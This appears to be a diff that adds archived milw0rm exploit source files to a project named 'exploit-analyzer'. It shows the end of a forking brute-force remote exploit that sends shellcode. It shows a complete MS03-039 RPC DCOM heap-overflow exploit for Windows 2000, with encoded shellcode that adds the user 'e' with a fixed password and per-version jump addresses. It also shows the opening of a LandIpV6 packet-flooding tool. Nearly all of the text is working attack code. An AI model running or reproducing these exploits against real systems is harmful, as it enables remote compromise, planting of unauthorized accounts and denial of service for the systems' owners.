1102
+
1103
+ if (verbose == 1) fprintf(stdout, "+ Using ret: [0x%08x]\n", (unsigned int)ret);
1104
+
1105
+ usleep(BRUTE_DELAY);
1106
+
1107
+ switch (childs[i] = fork()) {
1108
+ case 0:
1109
+ if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), port, 2) == -1) {
1110
+ if (sock > 2) close(sock);
1111
+ if (sock2 > 2) close(sock2);
1112
+ exit(-1);
1113
+ }
1114
+
1115
+ if(write_timer(sock, 3) == 1) {
1116
+ if (start_session(sock) < 0) {
1117
+ if (verbose == 1) fprintf(stderr, "+ Session failed.\n");
1118
+ if (sock > 2)close(sock);
1119
+ if (sock2 > 2) close(sock2);
1120
+ exit(-1);
1121
+ }
1122
+
1123
+ if (brute == 3) {
1124
+ if (exploit_openbsd32(sock, ret, shellcode) < 0) {
1125
+ if (verbose == 1) fprintf(stderr, "+ Failed.\n");
1126
+ if (sock > 2) close(sock);
1127
+ if (sock2 > 2) close(sock2);
1128
+ exit(-1);
1129
+ }
1130
+ }
1131
+ else {
1132
+ if (exploit_normal(sock, ret, shellcode) < 0) {
1133
+ if (verbose == 1) fprintf(stderr, "+ Failed.\n");
1134
+ if (sock > 2) close(sock);
1135
+ if (sock2 > 2) close(sock2);
1136
+ exit(-1);
1137
+ }
1138
+
1139
+ if (sock > 2) close(sock);
1140
+
1141
+ if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
1142
+ if (sock2 > 2) close(sock2);
1143
+ exit(-1);
1144
+ }
1145
+
1146
+ if(Connect(sock2, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {
1147
+ if (sock2 > 2) close(sock2);
1148
+ kill(getppid(), SIGUSR1);
1149
+ }
1150
+
1151
+ exit(1);
1152
+ }
1153
+
1154
+
1155
+ exit(0);
1156
+ break;
1157
+ case -1:
1158
+ fprintf(stderr, "+ fork() error\n");
1159
+ exit(-1);
1160
+ break;
1161
+ default:
1162
+ if (i > MAX_CHILDS - 2) {
1163
+ wait(&status);
1164
+ i--;
1165
+ }
1166
+ break;
1167
+ }
1168
+
1169
+ }
1170
+
1171
+ }
1172
+
1173
+ return 0;
1174
+ }
1175
+
1176
+ // milw0rm.com [2003-04-10]
exploit-analyzer/exploits/exploit_100.txt ADDED
@@ -0,0 +1,291 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include <stdio.h>
2
+ #include <winsock2.h>
3
+ #include <windows.h>
4
+ #include <process.h>
5
+ #include <string.h>
6
+ #include <winbase.h>
7
+
8
+ #pragma comment(lib,"ws2_32")
9
+
10
+ unsigned char bindstr[]={
11
+ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
12
+ 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
13
+ 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
14
+ 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
15
+ 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
16
+
17
+ unsigned char request1[]={
18
+ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
19
+ ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
20
+ ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
21
+ ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
22
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
23
+ ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
24
+ ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
25
+ ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
26
+ ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
27
+ ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
28
+ ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
29
+ ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
30
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
31
+ ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
32
+ ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
33
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
34
+ ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
35
+ ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
36
+ ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
37
+ ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
38
+ ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
39
+ ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
40
+ ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
41
+ ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
42
+ ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
43
+ ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
44
+ ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
45
+ ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
46
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
47
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
48
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
49
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
50
+ ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
51
+ ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
52
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
53
+ ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
54
+ ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
55
+ ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
56
+ ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
57
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
58
+ ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
59
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
60
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
61
+ ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
62
+ ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
63
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
64
+ ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
65
+ ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
66
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
67
+ ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
68
+ ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
69
+ ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
70
+ ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
71
+ ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
72
+ ,0x00,0x00,0x00,0x00,0x00,0x00};
73
+
74
+ unsigned char request2[]={
75
+ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
76
+ ,0x00,0x00,0x5C,0x00,0x5C,0x00};
77
+
78
+ unsigned char request3[]={
79
+ 0x5C,0x00
80
+ ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
81
+ ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
82
+ ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
83
+ ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
84
+
85
+ //user="e" pass="asd#321"
86
+ unsigned char sc_add_user[]=
87
+ "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x99\xE2\xFA"
88
+ "\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x31\x99\x99\x99\xC3\x21\x95\x69"
89
+ "\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5"
90
+ "\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA"
91
+ "\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED"
92
+ "\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF"
93
+ "\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A"
94
+ "\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F"
95
+ "\x97\x12\x49\xF3\x9A\xC0\x71\xBD\x99\x99\x99\xF1\x66\x66\x66\x99"
96
+ "\xF1\x99\x89\x99\x99\xF3\x9D\x66\xCE\x6D\x22\x81\x69\x64\xE6\x10"
97
+ "\x9A\x1A\x5F\x95\xAA\x59\xC9\xCF\x66\xCE\x61\xC9\x66\xCE\x65\xAA"
98
+ "\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B"
99
+ "\x77\xAA\x59\x5A\x71\xCA\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA"
100
+ "\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xD1\xFC\xF8\xE9\xDA\xEB\xFC\xF8"
101
+ "\xED\xFC\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xC9"
102
+ "\xEB\xF6\xFA\xFC\xEA\xEA\x99\xFA\xF4\xFD\xB9\xB6\xFA\xB9\xF7\xFC"
103
+ "\xED\xB9\xEC\xEA\xFC\xEB\xB9\xFC\xB9\xF8\xEA\xFD\xBA\xAA\xAB\xA8"
104
+ "\xB9\xB6\xF8\xFD\xFD\xB9\xBF\xBF\xB9\xF7\xFC\xED\xB9\xF5\xF6\xFA"
105
+ "\xF8\xF5\xFE\xEB\xF6\xEC\xE9\xB9\xF8\xFD\xF4\xF0\xF7\xF0\xEA\xED"
106
+ "\xEB\xF8\xED\xF6\xEB\xEA\xB9\xFC\xB9\xB6\xF8\xFD\xFD\x99";
107
+ #define sc_offset 0x24
108
+ #define sc_max 0x208
109
+ #define jmp_addr_offset sc_max+sc_offset+0x8
110
+ #define top_seh_offset jmp_addr_offset+0x4
111
+
112
+ unsigned char sc[]=
113
+ "\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00\x2e\x00"
114
+ "\x30\x00\x2e\x00\x31\x00\x5c\x00\x49\x00\x50\x00"
115
+ "\x43\x00\x24\x00\x5c\x00"
116
+ "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
117
+ "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
118
+ "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
119
+ "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
120
+ "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
121
+ "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
122
+ "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
123
+ "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
124
+ "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
125
+ "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
126
+ "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
127
+ "\xe9\xf3\xfd\xff\xff"
128
+ "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE";
129
+
130
+ unsigned char request4[]={
131
+ 0x01,0x10
132
+ ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
133
+ ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
134
+ ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
135
+ };
136
+
137
+ struct
138
+ {
139
+ char *os;
140
+ DWORD dwTopSeh;
141
+ char *seh;
142
+ DWORD dwJmpAddr;
143
+ char *jmp;
144
+ }
145
+ targets[] =
146
+ {
147
+ { "2kEnSp4+MS03-026",
148
+ 0x7c54144c,
149
+ "kernel32.dll v5.0.2195.6688",
150
+ 0x77a1b496,
151
+ "OLEAUT32.dll v2.40.4522.0"},
152
+ { "2kEnSp3+SomeHotFixs+MS03-026",
153
+ 0x77eda1f0,
154
+ "kernel32.dll v5.0.2195.6079",
155
+ 0x77a1afa9,
156
+ "OLEAUT32.dll v2.40.4518.0"}
157
+ }, v;
158
+ void main(int argc,char ** argv)
159
+ {
160
+ WSADATA WSAData;
161
+ SOCKET sock;
162
+ int len,len1;
163
+ SOCKADDR_IN addr_in;
164
+ short port=135;
165
+ unsigned char buf1[0x1000];
166
+ unsigned char buf2[0x1000];
167
+ int i, iType;
168
+
169
+ printf( "MS03-039 RPC DCOM long filename heap buffer overflow exp v1\n"
170
+ "Base on flashsky's MS03-026 exp\n"
171
+ "Code by ey4s<eyas#xfocus.org>\n"
172
+ "2003-09-16\n"
173
+ "Welcome to http://www.xfocus.net\n"
174
+ "Thanks to flashsky & benjurry & Dave Aitel\n"
175
+ "If success, target will add a user \"e\" and password is \"asd#321\"\n\n");
176
+
177
+ if(argc!=3)
178
+ {
179
+ printf("Usage: %s <target> <type>\n", argv[0]);
180
+ for(i = 0; i < sizeof(targets)/sizeof(v); i++)
181
+ printf( "<%d> %s\n"
182
+ " TopSeh=0x%.8x in %s\n"
183
+ " JmpAddr=0x%.8x in %s\n",
184
+ i, targets[i].os,
185
+ targets[i].dwTopSeh, targets[i].seh,
186
+ targets[i].dwJmpAddr, targets[i].jmp);
187
+ return;
188
+ }
189
+
190
+ iType = atoi(argv[2]);
191
+ if((iType<0) || iType > sizeof(targets)/sizeof(v))
192
+ {
193
+ printf("[-] Wrong type.\n");
194
+ return;
195
+ }
196
+
197
+ memcpy(&sc[sc_offset], sc_add_user, sizeof(sc_add_user));
198
+ memcpy(&sc[jmp_addr_offset], &targets[iType].dwJmpAddr,4);
199
+ memcpy(&sc[top_seh_offset], &targets[iType].dwTopSeh,4);
200
+ printf("[+] Prepare shellcode completed.\n");
201
+
202
+ if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
203
+ {
204
+ printf("WSAStartup error.Error:%d\n",WSAGetLastError());
205
+ return;
206
+ }
207
+
208
+ addr_in.sin_family=AF_INET;
209
+ addr_in.sin_port=htons(port);
210
+ addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
211
+
212
+ if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
213
+ {
214
+ printf("Socket failed.Error:%d\n",WSAGetLastError());
215
+ return;
216
+ }
217
+ if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
218
+ {
219
+ printf("Connect failed.Error:%d",WSAGetLastError());
220
+ return;
221
+ }
222
+ printf("[+] Connect to %s:135 success.\n", argv[1]);
223
+
224
+ if(sizeof(sc_add_user) > sc_max)
225
+ {
226
+ printf("[-] shellcode too long, exit.\n");
227
+ return;
228
+ }
229
+
230
+
231
+ len=sizeof(sc);
232
+ memcpy(buf2,request1,sizeof(request1));
233
+ len1=sizeof(request1);
234
+ *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //¼ÆËãÎļþÃûË«×Ö½Ú³¤¶È
235
+ *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//¼ÆËãÎļþÃûË«×Ö½Ú³¤¶È
236
+ memcpy(buf2+len1,request2,sizeof(request2));
237
+ len1=len1+sizeof(request2);
238
+ memcpy(buf2+len1,sc,sizeof(sc));
239
+ len1=len1+sizeof(sc);
240
+ memcpy(buf2+len1,request3,sizeof(request3));
241
+ len1=len1+sizeof(request3);
242
+ memcpy(buf2+len1,request4,sizeof(request4));
243
+ len1=len1+sizeof(request4);
244
+ *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
245
+ //¼ÆËã¸÷ÖֽṹµÄ³¤¶È
246
+ *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
247
+ *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
248
+ *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
249
+ *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
250
+ *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
251
+ *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
252
+ *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
253
+
254
+ len = send(sock,bindstr,sizeof(bindstr),0);
255
+ if(len<=0)
256
+ {
257
+ printf("[-] Send failed.Error:%d\n",WSAGetLastError());
258
+ return;
259
+ }
260
+ else
261
+ printf("[+] send %d bytes.\n", len);
262
+
263
+ len=recv(sock,buf1,1000,0);
264
+ if(len<=0)
265
+ {
266
+ printf("[-] recv error:%d\n", GetLastError());
267
+ return;
268
+ }
269
+ else
270
+ printf("[+] recv %d bytes.\n", len);
271
+
272
+ len = send(sock,buf2,len1,0);
273
+ if(len<=0)
274
+ {
275
+ printf("[-] Send failed.Error:%d\n",WSAGetLastError());
276
+ return;
277
+ }
278
+ else
279
+ printf("[+] send %d bytes.\n", len);
280
+ len=recv(sock,buf1,1024,0);
281
+ if(len<=0)
282
+ {
283
+ printf("[+] Target crash or exploit success? :)\n");
284
+ }
285
+ else
286
+ printf("[-] recv %d bytes. Bad luck!\n", len);
287
+ }
288
+
289
+
290
+
291
+ // milw0rm.com [2003-09-16]
exploit-analyzer/exploits/exploit_1000.txt ADDED
@@ -0,0 +1,243 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ //
2
+ // Example usage: LandIpV6 \Device\NPF_{B1751317-BAA0-43BB-A69B-A0351960B28D}
3
+ //fe80::2a1:b0ff:fe08:8bcc 135
4
+ //
5
+ // Written by: Konrad Malewski.
6
+ //
7
+
8
+ #include <stdlib.h>
9
+ #include <stdio.h>
10
+ #include <Winsock2.h>
11
+ #include <ws2tcpip.h>
12
+ #include <pcap.h>
13
+ #include <remote-ext.h>
14
+ ///////////////////////////////////////////////////////////////////////////////
15
+ ///////////// from libnet /////////////
16
+ /* ethernet addresses are 6 octets long */
17
+ #define ETHER_ADDR_LEN 0x6
18
+
19
+ typedef unsigned char u_int8_t;
20
+ typedef unsigned short u_int16_t;
21
+ typedef unsigned int u_int32_t;
22
+ typedef unsigned __int64 u_int64_t;
23
+ /*
24
+ * Ethernet II header
25
+ * Static header size: 14 bytes
26
+ */
27
+ struct libnet_ethernet_hdr
28
+ {
29
+ u_int8_t ether_dhost[ETHER_ADDR_LEN];/* destination ethernet address */
30
+ u_int8_t ether_shost[ETHER_ADDR_LEN];/* source ethernet address */
31
+ u_int16_t ether_type; /* protocol */
32
+ };
33
+
34
+ struct libnet_in6_addr
35
+ {
36
+ union
37
+ {
38
+ u_int8_t __u6_addr8[16];
39
+ u_int16_t __u6_addr16[8];
40
+ u_int32_t __u6_addr32[4];
41
+ } __u6_addr; /* 128-bit IP6 address */
42
+ };
43
+
44
+
45
+ /*
46
+ * IPv6 header
47
+ * Internet Protocol, version 6
48
+ * Static header size: 40 bytes
49
+ */
50
+ struct libnet_ipv6_hdr
51
+ {
52
+ u_int8_t ip_flags[4]; /* version, traffic class, flow label */
53
+ u_int16_t ip_len; /* total length */
54
+ u_int8_t ip_nh; /* next header */
55
+ u_int8_t ip_hl; /* hop limit */
56
+ struct libnet_in6_addr ip_src, ip_dst; /* source and dest address */
57
+
58
+ };
59
+
60
+ /*
61
+ * TCP header
62
+ * Transmission Control Protocol
63
+ * Static header size: 20 bytes
64
+ */
65
+ struct libnet_tcp_hdr
66
+ {
67
+ u_int16_t th_sport; /* source port */
68
+ u_int16_t th_dport; /* destination port */
69
+ u_int32_t th_seq; /* sequence number */
70
+ u_int32_t th_ack; /* acknowledgement number */
71
+ u_int8_t th_x2:4, /* (unused) */
72
+ th_off:4; /* data offset */
73
+
74
+ u_int8_t th_flags; /* control flags */
75
+ u_int16_t th_win; /* window */
76
+ u_int16_t th_sum; /* checksum */
77
+ u_int16_t th_urp; /* urgent pointer */
78
+ };
79
+
80
+ int libnet_in_cksum(u_int16_t *addr, int len)
81
+ {
82
+ int sum;
83
+ union
84
+ {
85
+ u_int16_t s;
86
+ u_int8_t b[2];
87
+ }pad;
88
+ sum = 0;
89
+ while (len > 1)
90
+ {
91
+ sum += *addr++;
92
+ len -= 2;
93
+ }
94
+ if (len == 1)
95
+ {
96
+ pad.b[0] = *(u_int8_t *)addr;
97
+ pad.b[1] = 0;
98
+ sum += pad.s;
99
+ }
100
+ return (sum);
101
+ }
102
+ #define LIBNET_CKSUM_CARRY(x) (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16))
103
+ & 0xffff))
104
+
105
+ ///////////////////////////////////////////////////////////////////////////////
106
+ ///////////////////////////////////////////////////////////////////////////////
107
+ u_char packet[74];
108
+ struct libnet_ipv6_hdr *ip6_hdr = (libnet_ipv6_hdr *) (packet + 14);
109
+ struct libnet_tcp_hdr *tcp_hdr = (libnet_tcp_hdr *) (packet + 54);
110
+ struct libnet_ethernet_hdr *eth_hdr = (libnet_ethernet_hdr *) packet;
111
+
112
+ u_char errbuf[1024];
113
+ pcap_t *pcap_handle;
114
+
115
+
116
+ void usage(char* n)
117
+ {
118
+ pcap_if_t * alldevs,*d;
119
+ int i=1;
120
+ fprintf(stdout,"Usage:\n"
121
+ "\t %s <device> <victim> <port>\n",n);
122
+
123
+ if (pcap_findalldevs (&alldevs, (char*)errbuf) == -1)
124
+ {
125
+ fprintf( stderr, "Error in pcap_findalldevs ():%s\n" ,errbuf);
126
+ exit(EXIT_FAILURE);
127
+ }
128
+ printf("Avaliable adapters: \n");
129
+ d = alldevs;
130
+ while (d!=NULL)
131
+ {
132
+ printf("\t%d) %s\n\t\t%s\n",i++,d->name,d->description);
133
+ d = d->next;
134
+ }
135
+ pcap_freealldevs (alldevs);
136
+ }
137
+ ///////////////////////////////////////////////////////////////////////////////
138
+ int main(int argc, char* argv[])
139
+ {
140
+ if ( argc<4 )
141
+ {
142
+ usage(argv[0]);
143
+ return EXIT_FAILURE;
144
+ }
145
+
146
+ int retVal;
147
+ struct addrinfo hints,*addrinfo;
148
+
149
+ ZeroMemory(&hints,sizeof(hints));
150
+
151
+ WSADATA wsaData;
152
